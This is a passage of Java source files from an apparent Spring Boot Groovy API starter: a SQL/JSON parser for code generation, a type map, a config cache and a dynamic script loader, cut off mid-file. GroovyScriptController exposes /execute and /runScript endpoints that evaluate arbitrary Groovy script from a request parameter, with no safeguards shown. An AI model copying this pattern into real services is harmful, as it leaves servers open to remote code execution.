(classCommentTmp.contains(\"`\")) {\n                classCommentTmp = classCommentTmp.substring(classCommentTmp.indexOf(\"`\") + 1);\n                classCommentTmp = classCommentTmp.substring(0, classCommentTmp.indexOf(\"`\"));\n                classComment = classCommentTmp;\n            } else {\n                //非常规的没法分析\n                classComment = className;\n            }\n        } else {\n            //修复表备注为空问题\n            classComment = tableName;\n        }\n        //如果备注跟;混在一起，需要替换掉\n        classComment = classComment.replaceAll(\";\", \"\");\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n\n        // 正常( ) 内的一定是字段相关的定义。\n        String fieldListTmp = tableSql.substring(tableSql.indexOf(\"(\") + 1, tableSql.lastIndexOf(\")\")).get();\n\n        // 匹配 comment，替换备注里的小逗号, 防止不小心被当成切割符号切割\n        String commentPattenStr1 = \"comment `(.*?)\\\\`\";\n        Matcher matcher1 = Pattern.compile(commentPattenStr1).matcher(fieldListTmp);\n        while (matcher1.find()) {\n\n            String commentTmp = matcher1.group();\n            //2018-9-27 zhengk 不替换，只处理，支持COMMENT评论里面多种注释\n            //commentTmp = commentTmp.replaceAll(\"\\\\ comment `|\\\\`\", \" \");      // \"\\\\{|\\\\}\"\n\n            if (commentTmp.contains(\",\")) {\n                String commentTmpFinal = commentTmp.replaceAll(\",\", \"，\");\n                fieldListTmp = fieldListTmp.replace(matcher1.group(), commentTmpFinal);\n            }\n        }\n        //2018-10-18 zhengkai 新增支持double(10, 2)等类型中有英文逗号的特殊情况\n        String commentPattenStr2 = \"\\\\`(.*?)\\\\`\";\n        Matcher matcher2 = Pattern.compile(commentPattenStr2).matcher(fieldListTmp);\n        while (matcher2.find()) {\n            String commentTmp2 = matcher2.group();\n            if (commentTmp2.contains(\",\")) {\n                String commentTmpFinal = commentTmp2.replaceAll(\",\", \"，\").replaceAll(\"\\\\(\", \"（\").replaceAll(\"\\\\)\", \"）\");\n                fieldListTmp = fieldListTmp.replace(matcher2.group(), commentTmpFinal);\n            }\n        }\n        //2018-10-18 zhengkai 新增支持double(10, 2)等类型中有英文逗号的特殊情况\n        String commentPattenStr3 = \"\\\\((.*?)\\\\)\";\n        Matcher matcher3 = Pattern.compile(commentPattenStr3).matcher(fieldListTmp);\n        while (matcher3.find()) {\n            String commentTmp3 = matcher3.group();\n            if (commentTmp3.contains(\",\")) {\n                String commentTmpFinal = commentTmp3.replaceAll(\",\", \"，\");\n                fieldListTmp = fieldListTmp.replace(matcher3.group(), commentTmpFinal);\n            }\n        }\n        String[] fieldLineList = fieldListTmp.split(\",\");\n        if (fieldLineList.length > 0) {\n            int i = 0;\n            //i为了解决primary key关键字出现的地方，出现在前3行，一般和id有关\n            for (String columnLine0 : fieldLineList) {\n                NonCaseString columnLine = NonCaseString.of(columnLine0);\n                i++;\n                columnLine = columnLine.replaceAll(\"\\n\", \"\").replaceAll(\"\\t\", \"\").trim();\n                // `userid` int(11) NOT NULL AUTO_INCREMENT COMMENT '用户ID',\n                // 2018-9-18 zhengk 修改为contains，提升匹配率和匹配不按照规矩出牌的语句\n                // 2018-11-8 zhengkai 修复tornadoorz反馈的KEY FK_permission_id (permission_id),KEY FK_role_id (role_id)情况\n                // 2019-2-22 zhengkai 要在条件中使用复杂的表达式\n                // 2019-4-29 zhengkai 优化对普通和特殊storage关键字的判断（感谢@AhHeadFloating的反馈 ）\n                // 2020-10-20 zhengkai 优化对fulltext/index关键字的处理（感谢@WEGFan的反馈）\n                // 2023-8-27 L&J 改用工具方法判断, 且修改变量名(非特殊标识), 方法抽取\n                boolean notSpecialFlag = isNotSpecialColumnLine(columnLine, i);\n\n                if (notSpecialFlag) {\n                    //如果是oracle的number(x,x)，可能出现最后分割残留的,x)，这里做排除处理\n                    if (columnLine.length() < 5) {\n                        continue;\n                    }\n                    //2018-9-16 zhengkai 支持'符号以及空格的oracle语句// userid` int(11) NOT NULL AUTO_INCREMENT COMMENT '用户ID',\n                    String columnName = \"\";\n                    columnLine = columnLine.replaceAll(\"`\", \" \").replaceAll(\"\\\"\", \" \").replaceAll(\"'\", \"\").replaceAll(\"  \", \" \").trim();\n                    //如果遇到username varchar(65) default '' not null,这种情况，判断第一个空格是否比第一个引号前\n                    try {\n                        columnName = columnLine.substring(0, columnLine.indexOf(\" \")).get();\n                    } catch (StringIndexOutOfBoundsException e) {\n                        System.out.println(\"err happened: \" + columnLine);\n                        throw e;\n                    }\n\n                    // field Name\n                    // 2019-09-08 yj 添加是否下划线转换为驼峰的判断\n                    // 2023-8-27 L&J 支持原始列名任意命名风格, 不依赖用户是否输入下划线\n                    String fieldName = null;\n                    if (ParamInfo.NAME_CASE_TYPE.CAMEL_CASE.equals(nameCaseType)) {\n                        // 2024-1-27 L&J 适配任意(maybe)原始风格转小写驼峰\n                        fieldName = StringUtils.toLowerCamel(columnName);\n                    } else if (ParamInfo.NAME_CASE_TYPE.UNDER_SCORE_CASE.equals(nameCaseType)) {\n                        fieldName = StringUtils.toUnderline(columnName, false);\n                    } else if (ParamInfo.NAME_CASE_TYPE.UPPER_UNDER_SCORE_CASE.equals(nameCaseType)) {\n                        fieldName = StringUtils.toUnderline(columnName.toUpperCase(), true);\n                    } else {\n                        fieldName = columnName;\n                    }\n                    columnLine = columnLine.substring(columnLine.indexOf(\"`\") + 1).trim();\n                    String mysqlType = columnLine.split(\"\\\\s+\")[1];\n                    if(mysqlType.contains(\"(\")){\n                        mysqlType = mysqlType.substring(0, mysqlType.indexOf(\"(\"));\n                    }\n                    //swagger class\n                    String swaggerClass = \"string\" ;\n                    if(mysqlJavaTypeUtil.getMysqlSwaggerTypeMap().containsKey(mysqlType)){\n                        swaggerClass = mysqlJavaTypeUtil.getMysqlSwaggerTypeMap().get(mysqlType);\n                    }\n                    // field class\n                    // int(11) NOT NULL AUTO_INCREMENT COMMENT '用户ID',\n                    String fieldClass = \"String\";\n                    //2018-9-16 zhengk 补充char/clob/blob/json等类型，如果类型未知，默认为String\n                    //2018-11-22 lshz0088 处理字段类型的时候，不严谨columnLine.contains(\" int\") 类似这种的，可在前后适当加一些空格之类的加以区分，否则当我的字段包含这些字符的时候，产生类型判断问题。\n                    //2020-05-03 MOSHOW.K.ZHENG 优化对所有类型的处理\n                    //2020-10-20 zhengkai 新增包装类型的转换选择\n                    if(mysqlJavaTypeUtil.getMysqlJavaTypeMap().containsKey(mysqlType)){\n                        fieldClass = mysqlJavaTypeUtil.getMysqlJavaTypeMap().get(mysqlType);\n                    }\n                    // field comment，MySQL的一般位于field行，而pgsql和oralce多位于后面。\n                    String fieldComment = null;\n                    if (tableSql.contains(\"comment on column\") && (tableSql.contains(\".\" + columnName + \" is \") || tableSql.contains(\".`\" + columnName + \"` is\"))) {\n                        //新增对pgsql/oracle的字段备注支持\n                        //COMMENT ON COLUMN public.check_info.check_name IS '检查者名称';\n                        //2018-11-22 lshz0088 正则表达式的点号前面应该加上两个反斜杠，否则会认为是任意字符\n                        //2019-4-29 zhengkai 优化对oracle注释comment on column的支持（@liukex）\n                        tableSql = tableSql.replaceAll(\".`\" + columnName + \"` is\", \".\" + columnName + \" is\");\n                        Matcher columnCommentMatcher = Pattern.compile(\"\\\\.\" + columnName + \" is `\").matcher(tableSql);\n                        fieldComment = columnName;\n                        while (columnCommentMatcher.find()) {\n                            String columnCommentTmp = columnCommentMatcher.group();\n                            //System.out.println(columnCommentTmp);\n                            fieldComment = tableSql.substring(tableSql.indexOf(columnCommentTmp) + columnCommentTmp.length()).trim().get();\n                            fieldComment = fieldComment.substring(0, fieldComment.indexOf(\"`\")).trim();\n                        }\n                    } else if (columnLine.contains(\" comment\")) {\n                        //20200518 zhengkai 修复包含comment关键字的问题\n                        String commentTmp = columnLine.substring(columnLine.lastIndexOf(\"comment\") + 7).trim().get();\n                        // '用户ID',\n                        if (commentTmp.contains(\"`\") || commentTmp.indexOf(\"`\") != commentTmp.lastIndexOf(\"`\")) {\n                            commentTmp = commentTmp.substring(commentTmp.indexOf(\"`\") + 1, commentTmp.lastIndexOf(\"`\"));\n                        }\n                        //解决最后一句是评论，无主键且连着)的问题:album_id int(3) default '1' null comment '相册id：0 代表头像 1代表照片墙')\n                        if (commentTmp.contains(\")\")) {\n                            commentTmp = commentTmp.substring(0, commentTmp.lastIndexOf(\")\") + 1);\n                        }\n                        fieldComment = commentTmp;\n                    } else {\n                        //修复comment不存在导致报错的问题\n                        fieldComment = columnName;\n                    }\n\n                    FieldInfo fieldInfo = new FieldInfo();\n                    //\n                    fieldInfo.setColumnName(columnName);\n                    fieldInfo.setFieldName(fieldName);\n                    fieldInfo.setFieldClass(fieldClass);\n                    fieldInfo.setSwaggerClass(swaggerClass);\n                    fieldInfo.setFieldComment(fieldComment);\n\n                    fieldList.add(fieldInfo);\n                }\n            }\n        }\n\n        if (fieldList.size() < 1) {\n            throw new CodeGenerateException(\"表结构分析失败，请检查语句或者提交issue给我\");\n        }\n\n        ClassInfo codeJavaInfo = new ClassInfo();\n        codeJavaInfo.setTableName(tableName);\n        codeJavaInfo.setClassName(className);\n        codeJavaInfo.setClassComment(classComment);\n        codeJavaInfo.setFieldList(fieldList);\n        codeJavaInfo.setOriginTableName(originTableName);\n\n        return codeJavaInfo;\n    }\n\n    private static boolean isNotSpecialColumnLine(NonCaseString columnLine, int lineSeq) {\n        return (\n                !columnLine.containsAny(\n                        \"key \",\n                        \"constraint\",\n                        \" using \",\n                        \"unique \",\n                        \"fulltext \",\n                        \"index \",\n                        \"pctincrease\",\n                        \"buffer_pool\",\n                        \"tablespace\"\n                )\n                && !(columnLine.contains(\"primary \") && columnLine.indexOf(\"storage\") + 3 > columnLine.indexOf(\"(\"))\n                && !(columnLine.contains(\"primary \") && lineSeq > 3)\n        );\n    }\n\n    /**\n     * 解析JSON生成类信息\n     *\n     * @param paramInfo\n     * @return\n     */\n    public static ClassInfo processJsonToClassInfo(ParamInfo paramInfo) {\n        ClassInfo codeJavaInfo = new ClassInfo();\n        codeJavaInfo.setTableName(\"JsonDto\");\n        codeJavaInfo.setClassName(\"JsonDto\");\n        codeJavaInfo.setClassComment(\"JsonDto\");\n\n        //support children json if forget to add '{' in front of json\n        if (paramInfo.getTableSql().trim().startsWith(\"\\\"\")) {\n            paramInfo.setTableSql(\"{\" + paramInfo.getTableSql());\n        }\n        if (JSON.isValid(paramInfo.getTableSql())) {\n            if (paramInfo.getTableSql().trim().startsWith(\"{\")) {\n                JSONObject jsonObject = JSONObject.parseObject(paramInfo.getTableSql().trim());\n                //parse FieldList by JSONObject\n                codeJavaInfo.setFieldList(processJsonObjectToFieldList(jsonObject));\n            } else if (paramInfo.getTableSql().trim().startsWith(\"[\")) {\n                JSONArray jsonArray = JSONArray.parseArray(paramInfo.getTableSql().trim());\n                //parse FieldList by JSONObject\n                codeJavaInfo.setFieldList(processJsonObjectToFieldList(jsonArray.getJSONObject(0)));\n            }\n        }\n\n        return codeJavaInfo;\n    }\n\n    /**\n     * parse SQL by regex\n     *\n     * @param paramInfo\n     * @return\n     * @author https://github.com/ydq\n     */\n    public static ClassInfo processTableToClassInfoByRegex(ParamInfo paramInfo) {\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        //return classInfo\n        ClassInfo codeJavaInfo = new ClassInfo();\n\n        //匹配整个ddl，将ddl分为表名，列sql部分，表注释\n        String DDL_PATTEN_STR = \"\\\\s*create\\\\s+table\\\\s+(?<tableName>\\\\S+)[^\\\\(]*\\\\((?<columnsSQL>[\\\\s\\\\S]+)\\\\)[^\\\\)]+?(comment\\\\s*(=|on\\\\s+table)\\\\s*'(?<tableComment>.*?)'\\\\s*;?)?$\";\n\n        Pattern DDL_PATTERN = Pattern.compile(DDL_PATTEN_STR, Pattern.CASE_INSENSITIVE);\n\n        //匹配列sql部分，分别解析每一列的列名 类型 和列注释\n        String COL_PATTERN_STR = \"\\\\s*(?<fieldName>\\\\S+)\\\\s+(?<fieldType>\\\\w+)\\\\s*(?:\\\\([\\\\s\\\\d,]+\\\\))?((?!comment).)*(comment\\\\s*'(?<fieldComment>.*?)')?\\\\s*(,|$)\";\n\n        Pattern COL_PATTERN = Pattern.compile(COL_PATTERN_STR, Pattern.CASE_INSENSITIVE);\n\n        Matcher matcher = DDL_PATTERN.matcher(paramInfo.getTableSql().trim());\n        if (matcher.find()) {\n            String tableName = matcher.group(\"tableName\");\n            String tableComment = matcher.group(\"tableComment\");\n            codeJavaInfo.setTableName(tableName.replaceAll(\"'\", \"\"));\n            codeJavaInfo.setClassName(tableName.replaceAll(\"'\", \"\"));\n            codeJavaInfo.setClassComment(tableComment.replaceAll(\"'\", \"\"));\n            String columnsSQL = matcher.group(\"columnsSQL\");\n            if (columnsSQL != null && columnsSQL.length() > 0) {\n                Matcher colMatcher = COL_PATTERN.matcher(columnsSQL);\n                while (colMatcher.find()) {\n                    String fieldName = colMatcher.group(\"fieldName\");\n                    String fieldType = colMatcher.group(\"fieldType\");\n                    String fieldComment = colMatcher.group(\"fieldComment\");\n                    if (!\"key\".equalsIgnoreCase(fieldType)) {\n                        FieldInfo fieldInfo = new FieldInfo();\n                        fieldInfo.setFieldName(fieldName.replaceAll(\"'\", \"\"));\n                        fieldInfo.setColumnName(fieldName.replaceAll(\"'\", \"\"));\n                        fieldInfo.setFieldClass(fieldType.replaceAll(\"'\", \"\"));\n                        fieldInfo.setFieldComment(fieldComment.replaceAll(\"'\", \"\"));\n                        fieldList.add(fieldInfo);\n                    }\n                }\n            }\n            codeJavaInfo.setFieldList(fieldList);\n        }\n        return codeJavaInfo;\n    }\n\n    public static List<FieldInfo> processJsonObjectToFieldList(JSONObject jsonObject) {\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        jsonObject.keySet().stream().forEach(jsonField -> {\n            FieldInfo fieldInfo = new FieldInfo();\n            fieldInfo.setFieldName(jsonField);\n            fieldInfo.setColumnName(jsonField);\n            fieldInfo.setFieldClass(String.class.getSimpleName());\n            fieldInfo.setFieldComment(\"father:\" + jsonField);\n            fieldList.add(fieldInfo);\n            if (jsonObject.get(jsonField) instanceof JSONArray) {\n                jsonObject.getJSONArray(jsonField).stream().forEach(arrayObject -> {\n                    FieldInfo fieldInfo2 = new FieldInfo();\n                    fieldInfo2.setFieldName(arrayObject.toString());\n                    fieldInfo2.setColumnName(arrayObject.toString());\n                    fieldInfo2.setFieldClass(String.class.getSimpleName());\n                    fieldInfo2.setFieldComment(\"children:\" + arrayObject.toString());\n                    fieldList.add(fieldInfo2);\n                });\n            } else if (jsonObject.get(jsonField) instanceof JSONObject) {\n                jsonObject.getJSONObject(jsonField).keySet().stream().forEach(arrayObject -> {\n                    FieldInfo fieldInfo2 = new FieldInfo();\n                    fieldInfo2.setFieldName(arrayObject.toString());\n                    fieldInfo2.setColumnName(arrayObject.toString());\n                    fieldInfo2.setFieldClass(String.class.getSimpleName());\n                    fieldInfo2.setFieldComment(\"children:\" + arrayObject.toString());\n                    fieldList.add(fieldInfo2);\n                });\n            }\n        });\n        if (fieldList.size() < 1) {\n            throw new CodeGenerateException(\"JSON解析失败\");\n        }\n        return fieldList;\n    }\n\n    public static ClassInfo processInsertSqlToClassInfo(ParamInfo paramInfo) {\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        //return classInfo\n        ClassInfo codeJavaInfo = new ClassInfo();\n\n        //get origin sql\n        String fieldSqlStr = paramInfo.getTableSql().toLowerCase().trim();\n        fieldSqlStr = fieldSqlStr.replaceAll(\"  \", \" \").replaceAll(\"\\\\\\\\n`\", \"\")\n                .replaceAll(\"\\\\+\", \"\").replaceAll(\"``\", \"`\").replaceAll(\"\\\\\\\\\", \"\");\n        String valueStr = fieldSqlStr.substring(fieldSqlStr.lastIndexOf(\"values\") + 6).replaceAll(\" \", \"\").replaceAll(\"\\\\(\", \"\").replaceAll(\"\\\\)\", \"\");\n        //get the string between insert into and values\n        fieldSqlStr = fieldSqlStr.substring(0, fieldSqlStr.lastIndexOf(\"values\"));\n\n        System.out.println(fieldSqlStr);\n\n        String insertSqlPattenStr = \"insert into (?<tableName>.*) \\\\((?<columnsSQL>.*)\\\\)\";\n        //String DDL_PATTEN_STR=\"\\\\s*create\\\\s+table\\\\s+(?<tableName>\\\\S+)[^\\\\(]*\\\\((?<columnsSQL>[\\\\s\\\\S]+)\\\\)[^\\\\)]+?(comment\\\\s*(=|on\\\\s+table)\\\\s*'(?<tableComment>.*?)'\\\\s*;?)?$\";\n\n        Matcher matcher1 = Pattern.compile(insertSqlPattenStr).matcher(fieldSqlStr);\n        while (matcher1.find()) {\n\n            String tableName = matcher1.group(\"tableName\");\n            //System.out.println(\"tableName:\"+tableName);\n            codeJavaInfo.setClassName(tableName);\n            codeJavaInfo.setTableName(tableName);\n\n            String columnsSQL = matcher1.group(\"columnsSQL\");\n            //System.out.println(\"columnsSQL:\"+columnsSQL);\n\n            List<String> valueList = new ArrayList<>();\n            //add values as comment\n            Arrays.stream(valueStr.split(\",\")).forEach(column -> {\n                valueList.add(column);\n            });\n            AtomicInteger n = new AtomicInteger(0);\n            //add column to fleldList\n            Arrays.stream(columnsSQL.replaceAll(\" \", \"\").split(\",\")).forEach(column -> {\n                FieldInfo fieldInfo2 = new FieldInfo();\n                fieldInfo2.setFieldName(column);\n                fieldInfo2.setColumnName(column);\n                fieldInfo2.setFieldClass(String.class.getSimpleName());\n                if (n.get() < valueList.size()) {\n                    fieldInfo2.setFieldComment(column + \" , eg.\" + valueList.get(n.get()));\n                }\n                fieldList.add(fieldInfo2);\n                n.getAndIncrement();\n            });\n\n        }\n        if (fieldList.size() < 1) {\n            throw new CodeGenerateException(\"INSERT SQL解析失败\");\n        }\n        codeJavaInfo.setFieldList(fieldList);\n        return codeJavaInfo;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/util/mysqlJavaTypeUtil.java",
    "content": "package io.github.wujun728.generator.util;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic final class mysqlJavaTypeUtil {\n    public static final  HashMap<String, String> mysqlJavaTypeMap = new HashMap<String, String>();\n    public static final  HashMap<String, String> mysqlSwaggerTypeMap =new HashMap<String, String>();\n\n    static{\n        mysqlJavaTypeMap.put(\"bigint\",\"Long\");\n        mysqlJavaTypeMap.put(\"int\",\"Integer\");\n        mysqlJavaTypeMap.put(\"tinyint\",\"Integer\");\n        mysqlJavaTypeMap.put(\"smallint\",\"Integer\");\n        mysqlJavaTypeMap.put(\"mediumint\",\"Integer\");\n        mysqlJavaTypeMap.put(\"integer\",\"Integer\");\n        //小数\n        mysqlJavaTypeMap.put(\"float\",\"Float\");\n        mysqlJavaTypeMap.put(\"double\",\"Double\");\n        mysqlJavaTypeMap.put(\"decimal\",\"Double\");\n        //bool\n        mysqlJavaTypeMap.put(\"bit\",\"Boolean\");\n        //字符串\n        mysqlJavaTypeMap.put(\"char\",\"String\");\n        mysqlJavaTypeMap.put(\"varchar\",\"String\");\n        mysqlJavaTypeMap.put(\"tinytext\",\"String\");\n        mysqlJavaTypeMap.put(\"text\",\"String\");\n        mysqlJavaTypeMap.put(\"mediumtext\",\"String\");\n        mysqlJavaTypeMap.put(\"longtext\",\"String\");\n        //日期\n        mysqlJavaTypeMap.put(\"date\",\"Date\");\n        mysqlJavaTypeMap.put(\"datetime\",\"Date\");\n        mysqlJavaTypeMap.put(\"timestamp\",\"Date\");\n\n\n        mysqlSwaggerTypeMap.put(\"bigint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"int\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"tinyint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"smallint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"mediumint\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"integer\",\"integer\");\n        mysqlSwaggerTypeMap.put(\"boolean\",\"boolean\");\n        mysqlSwaggerTypeMap.put(\"float\",\"number\");\n        mysqlSwaggerTypeMap.put(\"double\",\"number\");\n        mysqlSwaggerTypeMap.put(\"decimal\",\"Double\");\n    }\n\n    public static HashMap<String, String> getMysqlJavaTypeMap() {\n        return mysqlJavaTypeMap;\n    }\n\n    public static HashMap<String, String> getMysqlSwaggerTypeMap() {\n        return mysqlSwaggerTypeMap;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/ApiAutoConfig.java",
    "content": "package io.github.wujun728.groovy;\n\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\n@ComponentScan(basePackages = \"io.github.wujun728.groovy\")\npublic class ApiAutoConfig  {\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/cache/ApiConfigCache.java",
    "content": "package io.github.wujun728.groovy.cache;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.util.ObjectUtils;\n\n/**\n * API信息缓存（统一静态工具类，key=path）\n */\n@Slf4j\npublic class ApiConfigCache {\n\n    private static final ConcurrentHashMap<String, ApiConfig> cache = new ConcurrentHashMap<>();\n\n    /** path -> beanName 映射（用于 Groovy Class 类型脚本查找 bean） */\n    private static final ConcurrentHashMap<String, String> beanNameMap = new ConcurrentHashMap<>();\n\n    public static ApiConfig get(String path) {\n        return cache.get(path);\n    }\n\n    public static void put(ApiConfig apiInfo) {\n        if (apiInfo == null || apiInfo.getPath() == null) {\n            return;\n        }\n        cache.put(apiInfo.getPath(), apiInfo);\n        if (apiInfo.getBeanName() != null) {\n            beanNameMap.put(apiInfo.getPath(), apiInfo.getBeanName());\n        }\n    }\n\n    public static void remove(ApiConfig apiInfo) {\n        if (apiInfo == null || apiInfo.getPath() == null) {\n            return;\n        }\n        cache.remove(apiInfo.getPath());\n        beanNameMap.remove(apiInfo.getPath());\n    }\n\n    public static void remove(String path) {\n        cache.remove(path);\n        beanNameMap.remove(path);\n    }\n\n    public static Collection<ApiConfig> getAll() {\n        return cache.values();\n    }\n\n    public static void clear() {\n        cache.clear();\n        beanNameMap.clear();\n    }\n\n    public static void putAll(List<ApiConfig> apiInfos) {\n        clear();\n        for (ApiConfig apiInfo : apiInfos) {\n            put(apiInfo);\n        }\n    }\n\n    /**\n     * 根据 path 获取 beanName\n     */\n    public static String getByPath(String path) {\n        return beanNameMap.get(path);\n    }\n\n    /**\n     * 根据 beanName 获取 ApiConfig\n     */\n    public static ApiConfig getByBeanName(String beanName) {\n        for (ApiConfig config : cache.values()) {\n            if (beanName.equals(config.getBeanName())) {\n                return config;\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 根据 path 获取 ApiConfig（兼容旧方法 getApiConfigByPath）\n     */\n    public static ApiConfig getApiConfigByPath(String path) {\n        ApiConfig info = cache.get(path);\n        if (ObjectUtils.isEmpty(info)) {\n            log.error(\"Path-{} 没有注册的ApiConfig\", path);\n        }\n        return info;\n    }\n\n    /**\n     * 批量更新缓存（兼容旧方法 put2map）\n     */\n    public static void put2map(List<ApiConfig> groovyList) {\n        putAll(groovyList);\n    }\n\n    /**\n     * 增量更新\n     */\n    public static void update2map(List<ApiConfig>[] groovyInfos) {\n        List<ApiConfig> addedApiConfigs = groovyInfos[0];\n        List<ApiConfig> updatedApiConfigs = groovyInfos[1];\n        List<ApiConfig> deletedApiConfigs = groovyInfos[2];\n        for (ApiConfig c : addedApiConfigs) { put(c); }\n        for (ApiConfig c : updatedApiConfigs) { put(c); }\n        for (ApiConfig c : deletedApiConfigs) { remove(c); }\n    }\n\n    public static Map<String, ApiConfig> getApiConfigs() {\n        return cache;\n    }\n\n    public static Map<String, String> getBeanNameMap() {\n        return beanNameMap;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/controller/GroovyScriptController.java",
    "content": "package io.github.wujun728.groovy.controller;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport groovy.lang.GroovyClassLoader;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.groovy.groovy.GroovyDynamicLoader;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.annotation.Resource;\nimport javax.script.*;\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\n\n@RestController\n//@Api(tags = \"Groovy脚本执行接口\")\n@RequestMapping(path = \"/groovy\")\npublic class GroovyScriptController {\n//    private ScriptEngineManager scriptEngineManager;\n//    private ApplicationContext applicationContext;\n    \n    @Resource\n\tprivate GroovyDynamicLoader groovyDynamicLoader;\n\t\n\t@RequestMapping(\"/test\")\n\tpublic int test(int number1, int number2) {\n\t\treturn number1 + number2;\n\t\t\n\t}\n\n\t@RequestMapping(\"/refresh\")\n\tpublic Result refresh() {\n\t\ttry {\n\t\t\tgroovyDynamicLoader.refreshNew();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n            return Result.fail(\"緩存刷新失败！\" + e.getMessage());\n        }\n\t\treturn Result.success(\"緩存刷新成功\");\n\t}\n\n    /*@Autowired\n    public GroovyScriptController(ScriptEngineManager scriptEngineManager, ApplicationContext applicationContext) {\n        Assert.notNull(scriptEngineManager, \"scriptEngineManager is not allowed null.\");\n        Assert.notNull(applicationContext, \"applicationContext is not allowed null.\");\n        this.scriptEngineManager = scriptEngineManager;\n        this.applicationContext = applicationContext;\n    }*/\n\n    @PostMapping(\"/execute\")\n    //@ApiOperation(notes = \"执行Groovy脚本\", value = \"执行groovy脚本\")\n    public Object execute(String script) throws ScriptException {\n        ScriptEngineManager scriptEngineManager = new ScriptEngineManager();\n        ScriptEngine engine = scriptEngineManager.getEngineByName(\"groovy\");\n        ScriptContext context = new SimpleScriptContext();\n        context.setBindings(new SimpleBindings(new HashMap<String, Object>(1) {{\n            put(\"spring\", SpringUtil.getApplicationContext());\n        }}), ScriptContext.ENGINE_SCOPE);\n        return engine.eval(script, context).toString();\n    }\n\n    @RequestMapping(\"/runScript\")\n    public Object runScript(String script) throws Exception {\n        if (script != null) {\n            // 这里其实就是groovy的api动态的加载生成一个Class，然后反射生成对象，然后执行run方法，最后返回结果\n            // 最精华的地方就是SpringContextUtils.autowireBean，可以实现自动注入bean，\n            Class clazz = new GroovyClassLoader().parseClass(script);\n            Method run = clazz.getMethod(\"run\");\n            Object bean = clazz.newInstance();\n            SpringUtil.getApplicationContext().getAutowireCapableBeanFactory().autowireBean(bean);\n            Object ret = run.invoke(bean);\n            return ret;\n        } else {\n            return \"no script\";\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/groovy/groovy/GroovyDynamicLoader.java",
    "content": "package io.github.wujun728.groovy.groovy;\n\nimport cn.hutool.core.lang.Console;\n//import com.jfinal.plugin.activerecord.ActiveRecordException;\n//import io.github.wujun728.db.record.Db;\n//import io.github.wujun728.db.record.kit.DbKit;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport io.github.wujun728.groovy.service.GroovyApiService;\nimport io.github.wujun728.groovy.cache.ApiConfigCache;\nimport io.github.wujun728.groovy.mapping.http.RequestMappingService;\n//import com.jfinal.plugin.activerecord.ActiveRecordException;\nimport groovy.lang.GroovyClassLoader;\nimport lombok.extern.slf4j.Slf4j;\nimport org.codehaus.groovy.control.CompilationFailedException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.BeansException;\nimport org.springframework.beans.factory.BeanDefinitionStoreException;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.config.BeanDefinition;\nimport org.springframework.beans.factory.support.BeanDefinitionBuilder;\nimport org.springframework.beans.factory.support.BeanDefinitionRegistry;\nimport org.springframework.beans.factory.support.DefaultListableBeanFactory;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport javax.annotation.Resource;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n//import static io.github.wujun728.db.DataSourcePool.main;\n\n\n@Slf4j\n@Configuration\n@Service\npublic class GroovyDynamicLoader implements ApplicationContextAware, InitializingBean {\n\n\tprivate static final Logger logger = LoggerFactory.getLogger(GroovyDynamicLoader.class);\n\n\tprivate Map<String,Class> classMap = new HashMap<>();\n\n\tprivate ConfigurableApplicationContext applicationContext;\n\n\tprivate BeanDefinitionRegistry registry;\n\n\tprivate static final GroovyClassLoader groovyClassLoader = new GroovyClassLoader(\n\t\t\tGroovyDynamicLoader.class.getClassLoader());\n\n\t@Resource\n\tprivate GroovyApiService groovyApiService;\n\n\t@Resource\n\tprivate RequestMappingService requestMappingService;\n\n\tpublic static final String main = \"main\";\n\n\t@Override\n\tpublic void afterPropertiesSet() throws Exception {\n\t\t/*long start = System.currentTimeMillis();\n\t\tSystem.out.println(\"开始解析groovy脚本...\");\n\t\tinitNew();\n\t\tlong cost = System.currentTimeMillis() - start;\n\t\tSystem.out.println(\"结束解析groovy脚本...，耗时：\" + cost);*/\n\t}\n\n\tpublic void initNew() {\n        long start = System.currentTimeMillis();\n        System.out.println(\"开始解析groovy脚本...\");\n\t\ttry {\n\t\t\tgroovyApiService.init();\n\n\t\t\tList<ApiConfig> groovyScripts = 